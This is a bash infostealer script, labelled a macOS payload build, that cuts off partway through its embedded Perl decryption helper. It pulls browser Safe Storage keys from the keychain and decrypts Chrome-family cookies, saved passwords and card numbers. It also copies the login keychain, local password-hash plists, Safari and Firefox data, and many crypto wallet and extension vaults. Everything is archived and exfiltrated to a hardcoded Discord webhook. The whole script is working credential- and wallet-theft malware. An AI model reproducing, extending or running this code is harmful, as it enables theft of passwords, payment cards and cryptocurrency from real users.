#!/bin/bash
# ============================================================================
#  wsx-mac  |  build wsx-2026-11-02-mac1
#  macOS counterpart of the Windows wsx payload.
#
#  Scope of this build:
#    * browser credential/cookie/card extraction (Chrome family + Safari +
#      Firefox artefacts) with v10 AES-128-CBC decryption
#    * wallet / extension-vault collection
#    * keychain export
#    * Discord delivery (default webhook, forum thread per host)
#
#  Deliberately NOT included: the ScreenConnect side-car. The relay serves an
#  MSI, which cannot execute on macOS, so the whole side-car is skipped for
#  this platform instead of being shipped in a broken form.
#
#  Written to POSIX sh so the logic can be exercised on a non-macOS host;
#  the interpreter on macOS is /bin/bash 3.2.
# ============================================================================

BUILD_TAG="wsx-2026-11-02-mac1"
HOOK_DEFAULT='https://discord.com/api/webhooks/1566442373293015154/OEUFJwxhKuM7Ve4OnJFw6bnSw5EAoKSba32I3Z3iIq8YeqxecPZIUj6sCt0QO3MD78sc'
HOOK="${WSX_HOOK:-$HOOK_DEFAULT}"

SEND=1
DRYRUN=0
SELFTEST=0
FORCE_KEY=""
TAB=$(printf '\t')

# ---------------------------------------------------------------------------
# helpers
# ---------------------------------------------------------------------------
say()  { printf '%s\n' "$*"; }
log()  { printf '%s  %s\n' "$(date '+%Y-%m-%d %H:%M:%S')" "$*" >> "$WORK/run.log"; }
note() { log "$*"; }

have() { command -v "$1" >/dev/null 2>&1; }

slug() {
    printf '%s' "$1" | tr -c 'A-Za-z0-9._-' '_' | cut -c1-48
}

json_esc() {
    printf '%s' "$1" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g' \
        | awk 'BEGIN{ORS=""} {printf "%s\\n", $0}' | sed -e 's/\\n$//'
}

# run a command with a hard timeout (macOS has no coreutils `timeout`)
run_to() {
    _t=$1; shift
    "$@" > "$WORK/.to.out" 2> "$WORK/.to.err" &
    _p=$!
    _i=0
    while kill -0 "$_p" 2>/dev/null && [ "$_i" -lt $((_t * 4)) ]; do
        sleep 0.25 2>/dev/null || sleep 1
        _i=$((_i + 1))
    done
    if kill -0 "$_p" 2>/dev/null; then
        kill -9 "$_p" 2>/dev/null
        wait "$_p" 2>/dev/null
        return 124
    fi
    wait "$_p" 2>/dev/null
    return $?
}

stat_add() { printf '%s\t%s\n' "$1" "$2" >> "$WORK/stats.tsv"; }
stat_get() { awk -F'\t' -v k="$1" '$1==k{s+=$2} END{print s+0}' "$WORK/stats.tsv" 2>/dev/null; }

# copy a tree, dropping the bulk that carries no intelligence value
copy_tree() {
    _src=$1; _dst=$2
    [ -e "$_src" ] || return 1
    mkdir -p "$_dst" 2>/dev/null || return 1
    tar -cf - -C "$_src" \
        --exclude 'Cache' --exclude 'Code Cache' --exclude 'GPUCache' \
        --exclude 'ShaderCache' --exclude 'DawnCache' --exclude 'GrShaderCache' \
        --exclude 'Crashpad' --exclude '*.log' --exclude '*.tmp' \
        . 2>/dev/null | tar -xf - -C "$_dst" 2>/dev/null
    return 0
}

# ---------------------------------------------------------------------------
# keychain
# ---------------------------------------------------------------------------
kc_get() {
    # $1 = service name, $2 = file for the secret. 8s budget: the item may pop
    # a GUI consent dialog, which must never hang the run.
    [ -z "$2" ] && return 1
    run_to 8 security find-generic-password -w -s "$1"
    [ $? -eq 0 ] || return 1
    tr -d '\r\n' < "$WORK/.to.out" > "$2" 2>/dev/null
    [ -s "$2" ] || return 1
    chmod 600 "$2" 2>/dev/null
    return 0
}

# ---------------------------------------------------------------------------
# collection: system
# ---------------------------------------------------------------------------
collect_system() {
    SYS="$OUT/system.txt"
    {
        printf 'build: %s\n' "$BUILD_TAG"
        printf 'collected: %s\n' "$(date '+%Y-%m-%d %H:%M:%S %z')"
        printf 'host: %s\n' "$HOSTNAME_S"
        printf 'user: %s (uid %s)\n' "$USER_S" "$(id -u 2>/dev/null)"
        printf 'home: %s\n' "$HOME"
        printf 'cwd: %s\n' "$(pwd)"
        printf 'shell: %s\n' "${SHELL:-?}"
        printf 'terminal: %s\n' "${TERM_PROGRAM:-?}"
        printf '\n[os]\n'
        sw_vers 2>/dev/null
        uname -a 2>/dev/null
        printf '\n[hardware]\n'
        sysctl -n machdep.cpu.brand_string 2>/dev/null
        sysctl -n hw.model 2>/dev/null
        sysctl -n hw.memsize 2>/dev/null
        ioreg -l 2>/dev/null | grep -E '"(IOPlatformSerialNumber|IOPlatformUUID)"' | head -4
        printf '\n[network]\n'
        for i in en0 en1 en2; do
            a=$(ipconfig getifaddr "$i" 2>/dev/null)
            [ -n "$a" ] && printf '%s %s\n' "$i" "$a"
        done
        printf 'public: '
        curl -s --max-time 6 https://api.ipify.org 2>/dev/null
        printf '\n'
        printf '\n[accounts]\n'
        dscl . list /Users 2>/dev/null | grep -v '^_' | head -40
        printf '\n[privilege]\n'
        if sudo -n true 2>/dev/null; then printf 'passwordless_sudo: yes\n'; else printf 'passwordless_sudo: no\n'; fi
        printf 'admin_group: '
        id -Gn 2>/dev/null | tr ' ' '\n' | grep -c '^admin$'
        printf '\n[apps]\n'
        ls /Applications 2>/dev/null | head -80
    } > "$SYS" 2>&1
    note "system -> $(wc -l < "$SYS" 2>/dev/null) lines"
}

collect_keychain() {
    KD="$OUT/keychain"
    mkdir -p "$KD"
    : > "$WORK/kc.status"
    # browser safe-storage secrets
    _svc_list="Chrome Safe Storage
Brave Safe Storage
Microsoft Edge Safe Storage
Chromium Safe Storage
Arc Safe Storage
Vivaldi Safe Storage
Opera Safe Storage"
    _old_ifs=$IFS
    IFS='
'
    for _svc in $_svc_list; do
        _f="$KD/$(slug "$_svc").txt"
        if kc_get "$_svc" "$_f"; then
            printf '%s\tok\n' "$_svc" >> "$WORK/kc.status"
        else
            rm -f "$_f"
            printf '%s\tunavailable\n' "$_svc" >> "$WORK/kc.status"
        fi
    done
    IFS=$_old_ifs
    # raw keychain for offline work
    for _k in "$HOME/Library/Keychains/login.keychain-db" "$HOME/Library/Keychains/login.keychain"; do
        [ -f "$_k" ] && cp "$_k" "$KD/" 2>/dev/null && note "keychain raw: $_k"
    done
    # local account password hashes, only when the session is already root-capable
    if sudo -n true 2>/dev/null; then
        mkdir -p "$KD/dsclocal"
        sudo -n cp /var/db/dslocal/nodes/Default/users/*.plist "$KD/dsclocal/" 2>/dev/null
        note "dslocal: $(ls "$KD/dsclocal" 2>/dev/null | wc -l) plists"
    fi
    note "keychain done"
}

# ---------------------------------------------------------------------------
# collection: chromium-family browsers
# ---------------------------------------------------------------------------
decrypt_rows() {
    # $1 = key hex, $2 = batch file, $3 = output file
    if [ -z "$1" ] || [ ! -s "$2" ]; then
        return 1
    fi
    perl "$CRYPTO_PL" batch "$1" < "$2" 2>/dev/null | tr '|' "$TAB" > "$3"
    cat "$3" 2>/dev/null
    return 0
}

scan_chromium() {
    _bname=$1; _root=$2; _svc=$3
    [ -d "$_root" ] || return 0
    _out="$OUT/browsers/$_bname"
    mkdir -p "$_out"

    _key=""
    if [ -n "$FORCE_KEY" ]; then
        _key=$FORCE_KEY
    else
        _kf="$OUT/keychain/$(slug "$_svc").txt"
        if [ -s "$_kf" ]; then
            _pw=$(cat "$_kf")
            _key=$(perl "$CRYPTO_PL" key "$_pw" saltysalt 1003 16 2>/dev/null)
        fi
    fi
    printf 'browser: %s\nkey: %s\n' "$_bname" "${_key:-unavailable}" > "$_out/_status.txt"

    # profiles = any directory holding a Cookies or Login Data database
    _profs=$(find "$_root" -maxdepth 2 -type f \( -name 'Cookies' -o -name 'Login Data' -o -name 'Web Data' \) 2>/dev/null |
        sed 's|/[^/]*$||' | sort -u)

    [ -z "$_profs" ] && { note "$_bname: no profile db"; return 0; }

    _old_ifs=$IFS
    IFS='
'
    for _p in $_profs; do
        IFS=$_old_ifs
        _pn=$(basename "$_p")
        _tag="$(slug "$_bname")_$(slug "$_pn")"
        _tmp="$WORK/tmpdb"
        mkdir -p "$_tmp"

        # --- cookies -----------------------------------------------------
        if [ -f "$_p/Cookies" ]; then
            cp "$_p/Cookies" "$_tmp/$_tag.ck" 2>/dev/null
            [ -f "$_p/Cookies-wal" ] && cp "$_p/Cookies-wal" "$_tmp/$_tag.ck-wal" 2>/dev/null
            [ -f "$_p/Cookies-shm" ] && cp "$_p/Cookies-shm" "$_tmp/$_tag.ck-shm" 2>/dev/null
            sqlite3 -separator "$TAB" "$_tmp/$_tag.ck" \
                "SELECT 'c', host_key||'|'||name, host_key, hex(encrypted_value) FROM cookies WHERE length(encrypted_value)>3;" 2>/dev/null > "$_tmp/$_tag.ck.batch"
            _enc=$(wc -l < "$_tmp/$_tag.ck.batch" 2>/dev/null | tr -d ' ')
            {
                printf 'host\tname\tvalue\n'
                decrypt_rows "$_key" "$_tmp/$_tag.ck.batch" "$_tmp/$_tag.ck.dec"
                sqlite3 -separator "$TAB" "$_tmp/$_tag.ck" \
                    "SELECT host_key, name, value FROM cookies WHERE length(encrypted_value)<=3 AND value<>'';" 2>/dev/null
            } > "$_out/${_pn}_cookies.tsv" 2>/dev/null
            _got=$(($(wc -l < "$_out/${_pn}_cookies.tsv" 2>/dev/null | tr -d ' ') - 1))
            stat_add cookies "$_got"
            note "$_bname/$_pn cookies: ${_got} (encrypted ${_enc:-0})"
            rm -f "$_tmp/$_tag.ck" "$_tmp/$_tag.ck-wal" "$_tmp/$_tag.ck-shm" "$_tmp/$_tag.ck.batch" "$_tmp/$_tag.ck.dec"
        fi

        # --- saved logins -------------------------------------------------
        for _ld in "Login Data" "Login Data For Account"; do
            [ -f "$_p/$_ld" ] || continue
            _f="$_tmp/$_tag.ld"
            cp "$_p/$_ld" "$_f" 2>/dev/null
            sqlite3 -separator "$TAB" "$_f" \
                "SELECT 'p', origin_url||'|'||username_value, '-', hex(password_value) FROM logins WHERE length(password_value)>3;" 2>/dev/null > "$_f.batch"
            _enc=$(wc -l < "$_f.batch" 2>/dev/null | tr -d ' ')
            {
                printf 'origin\tusername\tpassword\n'
                decrypt_rows "$_key" "$_f.batch" "$_f.dec"
                sqlite3 -separator "$TAB" "$_f" \
                    "SELECT origin_url, username_value, password_value FROM logins WHERE length(password_value)<=3 AND length(password_value)>0;" 2>/dev/null
            } > "$_out/${_pn}_$(slug "$_ld").tsv" 2>/dev/null
            _got=$(($(wc -l < "$_out/${_pn}_$(slug "$_ld").tsv" 2>/dev/null | tr -d ' ') - 1))
            stat_add logins "$_got"
            stat_add logins_enc "${_enc:-0}"
            note "$_bname/$_pn $_ld: ${_got} (encrypted ${_enc:-0})"
            rm -f "$_f" "$_f.batch" "$_f.dec"
        done

        # --- autofill cards ----------------------------------------------
        if [ -f "$_p/Web Data" ]; then
            _f="$_tmp/$_tag.wd"
            cp "$_p/Web Data" "$_f" 2>/dev/null
            sqlite3 -separator "$TAB" "$_f" \
                "SELECT 'p', ifnull(name_on_card,'')||'|'||ifnull(expiration_month,'')||'/'||ifnull(expiration_year,''), '-', hex(card_number_encrypted) FROM credit_cards WHERE length(card_number_encrypted)>3;" 2>/dev/null > "$_f.batch"
            _enc=$(wc -l < "$_f.batch" 2>/dev/null | tr -d ' ')
            if [ "${_enc:-0}" -gt 0 ]; then
                {
                    printf 'cardholder\texpiry\tnumber\n'
                    decrypt_rows "$_key" "$_f.batch" "$_f.dec"
                } > "$_out/${_pn}_cards.tsv" 2>/dev/null
                stat_add cards "${_enc}"
                note "$_bname/$_pn cards: ${_enc}"
            fi
            rm -f "$_f" "$_f.batch" "$_f.dec"
        fi

        # --- history / bookmarks (metadata only, no bulk) -----------------
        if [ -f "$_p/History" ]; then
            _f="$_tmp/$_tag.hs"
            cp "$_p/History" "$_f" 2>/dev/null
            sqlite3 -separator "$TAB" "$_f" \
                "SELECT url, title, visit_count FROM urls ORDER BY last_visit_time DESC LIMIT 400;" 2>/dev/null > "$_out/${_pn}_history.tsv"
            rm -f "$_f"
        fi
        [ -f "$_p/Bookmarks" ] && cp "$_p/Bookmarks" "$_out/${_pn}_Bookmarks.json" 2>/dev/null
        [ -f "$_p/Preferences" ] && cp "$_p/Preferences" "$_out/${_pn}_Preferences.json" 2>/dev/null
        IFS='
'
    done
    IFS=$_old_ifs
    [ -f "$_root/Local State" ] && cp "$_root/Local State" "$_out/LocalState.json" 2>/dev/null
    return 0
}

# ---------------------------------------------------------------------------
# collection: safari / firefox
# ---------------------------------------------------------------------------
scan_safari() {
    _out="$OUT/browsers/Safari"
    _hit=0
    for _d in "$HOME/Library/Safari" "$HOME/Library/Cookies"; do
        [ -d "$_d" ] || continue
        _hit=1
        mkdir -p "$_out"
        for _f in History.db Bookmarks.plist Downloads.plist Cookies.binarycookies; do
            if [ -f "$_d/$_f" ]; then
                if cp "$_d/$_f" "$_out/" 2>/dev/null; then
                    note "safari: $_f"
                else
                    printf 'denied\t%s/%s\n' "$_d" "$_f" >> "$_out/_denied.txt"
                    note "safari: DENIED $_f"
                fi
            fi
        done
    done
    if [ -f "$_out/History.db" ] && have sqlite3; then
        sqlite3 -separator "$TAB" "$_out/History.db" \
            "SELECT url, visit_count FROM history_items ORDER BY visit_count DESC LIMIT 400;" 2>/dev/null > "$_out/history_top.tsv"
        stat_add safari_rows "$(wc -l < "$_out/history_top.tsv" 2>/dev/null | tr -d ' ')"
    fi
    [ "$_hit" = 1 ] && stat_add safari 1
    return 0
}

scan_firefox() {
    _root="$HOME/Library/Application Support/Firefox/Profiles"
    [ -d "$_root" ] || return 0
    _out="$OUT/browsers/Firefox"
    mkdir -p "$_out"
    for _p in "$_root"/*; do
        [ -d "$_p" ] || continue
        _pn=$(basename "$_p")
        for _f in logins.json key4.db cookies.sqlite places.sqlite prefs.js; do
            [ -f "$_p/$_f" ] && cp "$_p/$_f" "$_out/${_pn}_$_f" 2>/dev/null
        done
        note "firefox: $_pn"
    done
    stat_add firefox 1
    return 0
}

# ---------------------------------------------------------------------------
# collection: wallets
# ---------------------------------------------------------------------------
WALLET_PATHS='
Library/Application Support/Exodus
Library/Application Support/exodus.wallet
Library/Application Support/Electrum
Library/Application Support/Atomic
Library/Application Support/Ledger Live
Library/Application Support/Coinomi
Library/Application Support/Trust Wallet
Library/Application Support/Phantom
Library/Application Support/Solflare
Library/Application Support/Backpack
Library/Application Support/Keplr
Library/Application Support/Rabby
Library/Application Support/Coinbase Wallet
Library/Application Support/Bitcoin/wallets
Library/Application Support/monero
Library/Application Support/Wasabi Wallet
Library/Application Support/Sparrow
Library/Application Support/Trezor Suite
Library/Application Support/Binance
Library/Application Support/KuCoin
.config/solana
.terra
.near-credentials
.electrum/wallets
.sparrow
.bitcoin/wallet.dat
'

collect_wallets() {
    _out="$OUT/wallets"
    mkdir -p "$_out"
    _n=0
    _old_ifs=$IFS
    IFS='
'
    for _rel in $WALLET_PATHS; do
        IFS=$_old_ifs
        [ -z "$_rel" ] && continue
        _src="$HOME/$_rel"
        [ -e "$_src" ] || { IFS='
'; continue; }
        _name=$(slug "$(basename "$_rel")")
        if copy_tree "$_src" "$_out/$_name"; then
            _n=$((_n + 1))
            printf '%s\n' "$_rel" >> "$_out/_found.txt"
            note "wallet: $_rel"
        fi
        IFS='
'
    done
    IFS=$_old_ifs

    # browser-extension vaults (MetaMask & co) live inside the chromium profiles
    _ext_out="$_out/extensions"
    _found=0
    for _root in "$HOME/Library/Application Support/Google/Chrome" \
                 "$HOME/Library/Application Support/BraveSoftware/Brave-Browser" \
                 "$HOME/Library/Application Support/Microsoft Edge" \
                 "$HOME/Library/Application Support/Arc/User Data"; do
        [ -d "$_root" ] || continue
        for _les in "$_root"/*/"Local Extension Settings"; do
            [ -d "$_les" ] || continue
            for _id in nkbihfbeogaeaoehlefnkodbefgpgknn bfnaelmomeimhlpmgjnjophhpkkoljpa \
                       acmacodkjbdgmoleebolmdjonilkdbch hnfanknocfeofbddgcijnmhnfnkdnaad \
                       dmkamcknogkgcdfhhbddcghachkejeap fnjhmkhhmkbjkkabndcnnogagogbneec \
                       pdadjkfkgcafgbceimcpbkalnfnepbnk; do
                [ -d "$_les/$_id" ] || continue
                _dst="$_ext_out/$(slug "$(basename "$_root")")_$_id"
                mkdir -p "$_dst"
                cp -R "$_les/$_id/." "$_dst/" 2>/dev/null
                printf '%s\t%s\n' "$_id" "$_les/$_id" >> "$_ext_out/_found.txt"
                _found=$((_found + 1))
                note "ext vault: $_les/$_id"
            done
        done
    done
    stat_add wallets "$_n"
    stat_add ext_vaults "$_found"
    note "wallets: $_n dirs, $_found extension vaults"
}

# ---------------------------------------------------------------------------
# packaging
# ---------------------------------------------------------------------------
package() {
    # normalise row separators: sqlite3 CLI on some hosts emits CRLF
    find "$OUT" -type f -name '*.tsv' 2>/dev/null | while IFS= read -r _t; do
        tr -d '\r' < "$_t" > "$_t.n" 2>/dev/null && mv "$_t.n" "$_t" 2>/dev/null
    done

    MAN="$OUT/manifest.txt"
    {
        printf 'build %s\n' "$BUILD_TAG"
        printf 'host %s\n' "$HOSTNAME_S"
        printf 'user %s\n' "$USER_S"
        printf 'generated %s\n' "$(date '+%Y-%m-%d %H:%M:%S %z')"
        printf '\n'
        find "$OUT" -type f 2>/dev/null | sort | while IFS= read -r _f; do
            printf '%10s  %s\n' "$(wc -c < "$_f" 2>/dev/null | tr -d ' ')" "${_f#$OUT/}"
        done
    } > "$MAN" 2>/dev/null

    ZIP="$WORK/wsx_${SLUG}_${BUILD_TAG}.zip"
    if have zip; then
        ( cd "$OUT" && zip -r -q -X "$ZIP" . ) 2>/dev/null
    fi
    if [ ! -s "$ZIP" ]; then
        ZIP="$WORK/wsx_${SLUG}_${BUILD_TAG}.tar.gz"
        ( cd "$OUT" && tar -czf "$ZIP" . ) 2>/dev/null
    fi
    [ -s "$ZIP" ] || return 1

    PARTS="$ZIP"
    _size=$(wc -c < "$ZIP" | tr -d ' ')
    if [ "$_size" -gt 7340032 ] && have split; then
        ( cd "$WORK" && split -b 7340032 "$(basename "$ZIP")" "$(basename "$ZIP").p" ) 2>/dev/null
        PARTS=$(ls "$WORK"/*.p?? 2>/dev/null | tr '\n' ' ')
    fi
    stat_add archive_bytes "$_size"
    note "archive: $ZIP ($_size bytes)"
    return 0
}

# ---------------------------------------------------------------------------
# delivery
# ---------------------------------------------------------------------------
resp_code() { sed -n 's/.*"code"[[:space:]]*:[[:space:]]*\([0-9-]*\).*/\1/p' "$WORK/.resp" 2>/dev/null | head -1; }
resp_tid()  { sed -n 's/.*"channel_id"[[:space:]]*:[[:space:]]*"\([0-9]*\)".*/\1/p' "$WORK/.resp" 2>/dev/null | head -1; }
resp_wait() { sed -n 's/.*"retry_after"[[:space:]]*:[[:space:]]*\([0-9.]*\).*/\1/p' "$WORK/.resp" 2>/dev/null | head -1; }

# post_message <content> <thread_name> <thread_id> <wait 0|1> <file...>
post_message() {
    _c=$1; _tn=$2; _tid=$3; _wait=$4
    shift 4
    _json="{\"content\":\"$(json_esc "$_c")\""
    [ -n "$_tn" ] && _json="$_json,\"thread_name\":\"$(json_esc "$_tn")\""
    _json="$_json}"
    printf '%s' "$_json" > "$WORK/pj.json"

    _url="$HOOK"
    if [ -n "$_tid" ]; then
        _url="$HOOK?thread_id=$_tid"
    elif [ "$_wait" = 1 ]; then
        _url="$HOOK?wait=true"
    fi

    set -- -sS --max-time 240 -o "$WORK/.resp" -w '%{http_code}' \
        -F "payload_json=<$WORK/pj.json"
    _i=0
    for _f in $FILES; do
        set -- "$@" -F "files[$_i]=@$_f"
        _i=$((_i + 1))
    done
    _code=$(curl "$@" "$_url" 2>/dev/null)
    printf '%s' "$_code" > "$WORK/.code"
    log "POST $_url -> ${_code:-000} $(resp_code)"
    return 0
}

upload_batch() {
    _ct=$1; _ttid=$2
    post_message "$_ct" "" "$_ttid" 0
    case "$(cat "$WORK/.code" 2>/dev/null)" in
        200|204) return 0 ;;
    esac
    # a thread id that the webhook cannot post into (e.g. plain channel)
    if [ -n "$_ttid" ]; then
        post_message "$_ct" "" "" 0
        case "$(cat "$WORK/.code" 2>/dev/null)" in
            200|204) return 0 ;;
        esac
    fi
    return 1
}

send_files() {
    _tid=$1
    _all=$FILES
    _i=0
    _batch=""
    for _f in $_all; do
        _batch="$_batch $_f"
        _i=$((_i + 1))
        if [ "$_i" -ge 5 ]; then
            FILES=$_batch
            upload_batch "part" "$_tid"
            _batch=""
            _i=0
        fi
    done
    if [ -n "$_batch" ]; then
        FILES=$_batch
        upload_batch "final" "$_tid"
    fi
    FILES=$_all
    return 0
}

deliver() {
    FILES=""          # the thread-creating message carries text only
    _summary=$1
    _ok=0
    _attempt=0
    while [ "$_attempt" -lt 3 ]; do
        _attempt=$((_attempt + 1))
        post_message "$_summary" "$THREAD_NAME" "" 1
        _code=$(cat "$WORK/.code" 2>/dev/null)
        case "$_code" in
            200|204)
                _tid=$(resp_tid)
                _ok=1
                break
                ;;
            429)
                _w=$(resp_wait); [ -z "$_w" ] && _w=3
                sleep "$_w" 2>/dev/null || sleep 3
                ;;
            400)
                # not a forum channel, or thread_name rejected -> retry without it
                if [ -n "$THREAD_NAME" ]; then
                    note "forum rejected thread_name; retrying flat"
                    THREAD_NAME=""
                    continue
                fi
                break
                ;;
            401|403|404)
                break
                ;;
            *)
                sleep 2
                ;;
        esac
    done

    if [ "$_ok" = 1 ] && [ -n "$PARTS" ]; then
        FILES=$PARTS
        send_files "$_tid"
    fi

    printf '%s\n' "$_ok" > "$WORK/.delivered"
    return 0
}

# ---------------------------------------------------------------------------
# summary
# ---------------------------------------------------------------------------
build_summary() {
    _os=$(sw_vers -productVersion 2>/dev/null)
    _osb=$(sw_vers -buildVersion 2>/dev/null)
    _ip=$(ipconfig getifaddr en0 2>/dev/null)
    _pub=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null)
    _kc=$(awk -F'\t' '$2=="ok"{printf "%s ", $1}' "$WORK/kc.status" 2>/dev/null)
    _br=$(ls "$OUT/browsers" 2>/dev/null | tr '\n' ',' | sed 's/,$//')
    _wl=$(stat_get wallets)
    _ex=$(stat_get ext_vaults)
    _lg=$(stat_get logins)
    _lgx=$(stat_get logins_enc)
    _ck=$(stat_get cookies)
    _cd=$(stat_get cards)
    _ab=$(stat_get archive_bytes)
    _np=$(printf '%s' "$PARTS" | wc -w | tr -d ' ')

    printf '[MAC] %s / %s - collected\n' "$HOSTNAME_S" "$USER_S"
    printf 'build: %s\n' "$BUILD_TAG"
    printf 'os: macOS %s (%s)\n' "${_os:-?}" "${_osb:-?}"
    printf 'ip: %s -> %s\n' "${_ip:-?}" "${_pub:-?}"
    printf 'keychain: %s\n' "${_kc:-none}"
    printf 'browsers: %s\n' "${_br:-none}"
    printf 'logins: %s (encrypted rows %s)\n' "${_lg:-0}" "${_lgx:-0}"
    printf 'cookies: %s / cards: %s\n' "${_ck:-0}" "${_cd:-0}"
    printf 'wallets: %s dirs / %s extension vaults\n' "${_wl:-0}" "${_ex:-0}"
    printf 'archive: %s bytes in %s part(s)\n' "${_ab:-0}" "${_np:-0}"
}

# ---------------------------------------------------------------------------
# self test
# ---------------------------------------------------------------------------
selftest() {
    _fail=0
    perl "$CRYPTO_PL" selftest || _fail=1
    [ "$(slug 'a b/c')" = "a_b_c" ] || { printf 'slug FAIL\n'; _fail=1; }
    [ "$(json_esc 'a"b')" = 'a\"b' ] || { printf 'json_esc FAIL\n'; _fail=1; }
    [ "$(json_esc 'x
y')" = 'x\ny' ] || { printf 'json_esc multiline FAIL\n'; _fail=1; }
    if [ "$_fail" = 0 ]; then
        printf 'PAYLOAD SELFTEST PASSED\n'
        return 0
    fi
    printf 'PAYLOAD SELFTEST FAILED\n'
    return 1
}

# ---------------------------------------------------------------------------
# main
# ---------------------------------------------------------------------------
cleanup() {
    [ "$KEEP" = 1 ] && { printf 'workdir kept: %s\n' "$WORK"; return; }
    [ -n "$WORK" ] && rm -rf "$WORK" 2>/dev/null
}

main() {
    KEEP=0
    while [ $# -gt 0 ]; do
        case "$1" in
            --no-send) SEND=0 ;;
            --dry-run) SEND=0; DRYRUN=1 ;;
            --selftest) SELFTEST=1 ;;
            --keep) KEEP=1 ;;
            --key) shift; FORCE_KEY=$1 ;;
            --home) shift; WSX_HOME=$1 ;;
            --hook) shift; HOOK=$1 ;;
            *) printf 'unknown option: %s\n' "$1" >&2 ;;
        esac
        shift
    done

    [ -n "$WSX_HOME" ] && HOME=$WSX_HOME
    [ -n "$WSX_KEY" ] && FORCE_KEY=$WSX_KEY

    HOSTNAME_S=$(scutil --get ComputerName 2>/dev/null)
    [ -z "$HOSTNAME_S" ] && HOSTNAME_S=$(hostname 2>/dev/null)
    [ -z "$HOSTNAME_S" ] && HOSTNAME_S="mac"
    USER_S=$(id -un 2>/dev/null)
    SLUG=$(slug "$HOSTNAME_S")

    WORK=$(mktemp -d "${TMPDIR:-/tmp}/.wsx.XXXXXX" 2>/dev/null)
    if [ -z "$WORK" ] || [ ! -d "$WORK" ]; then
        WORK="${TMPDIR:-/tmp}/.wsx.$$"
        mkdir -p "$WORK" 2>/dev/null
    fi
    OUT="$WORK/out"
    mkdir -p "$OUT/browsers" "$OUT/keychain" "$OUT/wallets"
    : > "$WORK/stats.tsv"
    : > "$WORK/run.log"
    trap cleanup EXIT INT TERM HUP

    CRYPTO_PL="$WORK/.c.pl"
    cat > "$CRYPTO_PL" <<'WSX_CRYPTO_EOF'
#!/usr/bin/perl
# WSX macOS crypto helper: PBKDF2-HMAC-SHA1 + AES-128-CBC decrypt (pure perl, core modules only)
use strict;
use warnings;
use Digest::SHA qw(hmac_sha1 sha256);

# ---------------- GF(2^8) ----------------
my (@EXP, @LOG);
{
    my $x = 1;
    for my $i (0 .. 254) {
        $EXP[$i] = $x;
        $LOG[$x] = $i;
        my $d = (($x << 1) & 0xff) ^ (($x & 0x80) ? 0x1b : 0);
        $x = $x ^ $d;
    }
    $EXP[255] = $EXP[0];
}

sub rotl8 { my ($v, $n) = @_; return (($v << $n) | ($v >> (8 - $n))) & 0xff; }

my (@S, @SI);
for my $a (0 .. 255) {
    my $inv = $a == 0 ? 0 : $EXP[255 - $LOG[$a]];
    my $s = $inv ^ rotl8($inv, 1) ^ rotl8($inv, 2) ^ rotl8($inv, 3) ^ rotl8($inv, 4) ^ 0x63;
    $S[$a]  = $s;
    $SI[$s] = $a;
}

sub gmul {
    my ($a, $b) = @_;
    return 0 if $a == 0 || $b == 0;
    return $EXP[($LOG[$a] + $LOG[$b]) % 255];
}

my (@M2, @M3, @M9, @M11, @M13, @M14);
for my $a (0 .. 255) {
    $M2[$a]  = gmul($a, 2);
    $M3[$a]  = gmul($a, 3);
    $M9[$a]  = gmul($a, 9);
    $M11[$a] = gmul($a, 11);
    $M13[$a] = gmul($a, 13);
    $M14[$a] = gmul($a, 14);
}

# ---------------- AES-128 ---------------
sub expand_key {
    my $k = shift;
    my @w = unpack('C*', $k);
    my $rcon = 1;
    for my $i (4 .. 43) {
        my @t = @w[4 * ($i - 1) .. 4 * ($i - 1) + 3];
        if ($i % 4 == 0) {
            @t = ($S[$t[1]] ^ $rcon, $S[$t[2]], $S[$t[3]], $S[$t[0]]);
            $rcon = $M2[$rcon];
        }
        for my $j (0 .. 3) {
            push @w, $w[4 * ($i - 4) + $j] ^ $t[$j];
        }
    }
    return \@w;
}

sub inv_shift_rows {
    my @s = @_;
    my @t;
    for my $c (0 .. 3) {
        for my $r (0 .. 3) {
            $t[4 * $c + $r] = $s[4 * (($c - $r) % 4) + $r];
        }
    }
    return @t;
}

sub dec_block {
    my ($ct, $w) = @_;
    my @s = unpack('C*', $ct);
    for my $i (0 .. 15) { $s[$i] ^= $w->[160 + $i]; }
    for (my $r = 9; $r >= 1; $r--) {
        my @t = inv_shift_rows(@s);
        for my $i (0 .. 15) { $t[$i] = $SI[$t[$i]] ^ $w->[16 * $r + $i]; }
        for my $c (0 .. 3) {
            my ($a0, $a1, $a2, $a3) = @t[4 * $c .. 4 * $c + 3];
            $t[4 * $c + 0] = $M14[$a0] ^ $M11[$a1] ^ $M13[$a2] ^ $M9[$a3];
            $t[4 * $c + 1] = $M9[$a0]  ^ $M14[$a1] ^ $M11[$a2] ^ $M13[$a3];
            $t[4 * $c + 2] = $M13[$a0] ^ $M9[$a1]  ^ $M14[$a2] ^ $M11[$a3];
            $t[4 * $c + 3] = $M11[$a0] ^ $M13[$a1] ^ $M9[$a2]  ^ $M14[$a3];
        }
        @s = @t;
    }
    my @t = inv_shift_rows(@s);
    for my $i (0 .. 15) { $t[$i] = $SI[$t[$i]] ^ $w->[$i]; }
    return pack('C*', @t);
}

sub cbc_decrypt {
    my ($data, $key, $iv) = @_;
    my $w    = expand_key($key);
    my $out  = '';
    my $prev = $iv;
    my $len  = length($data);
    for (my $o = 0; $o + 16 <= $len; $o += 16) {
        my $blk = substr($data, $o, 16);
        $out .= (dec_block($blk, $w) ^ $prev);
        $prev = $blk;
    }
    # PKCS#7 unpad
    if (length($out)) {
        my $n = ord(substr($out, -1, 1));
        if ($n >= 1 && $n <= 16 && $n <= length($out)) {
            my $tail = substr($out, -$n);
            if ($tail eq (chr($n) x $n)) { $out = substr($out, 0, length($out) - $n); }
        }
    }
    return $out;
}

# ---------------- PBKDF2 ----------------
sub hmac_bin {
    my ($data, $key) = @_;
    my @r = hmac_sha1($data, $key);    # list context => raw bytes
    return $r[0];
}

sub sha256_bin {
    my @r = sha256(shift);             # list context => raw bytes
    return $r[0];
}

sub pbkdf2_sha1 {
    my ($pass, $salt, $iter, $dlen) = @_;
    return '' if $dlen <= 0;
    my $blocks = int(($dlen + 19) / 20);
    my $out    = '';
    for my $b (1 .. $blocks) {
        my $u = hmac_bin($salt . pack('N', $b), $pass);
        my $t = $u;
        for (my $i = 1; $i < $iter; $i++) {
            $u = hmac_bin($u, $pass);
            $t = $t ^ $u;
        }
        $out .= $t;
    }
    return substr($out, 0, $dlen);
}

# ---------------- helpers ----------------
sub hex2bin { my $h = shift; $h =~ s/[^0-9a-fA-F]//g; return pack('H*', $h); }
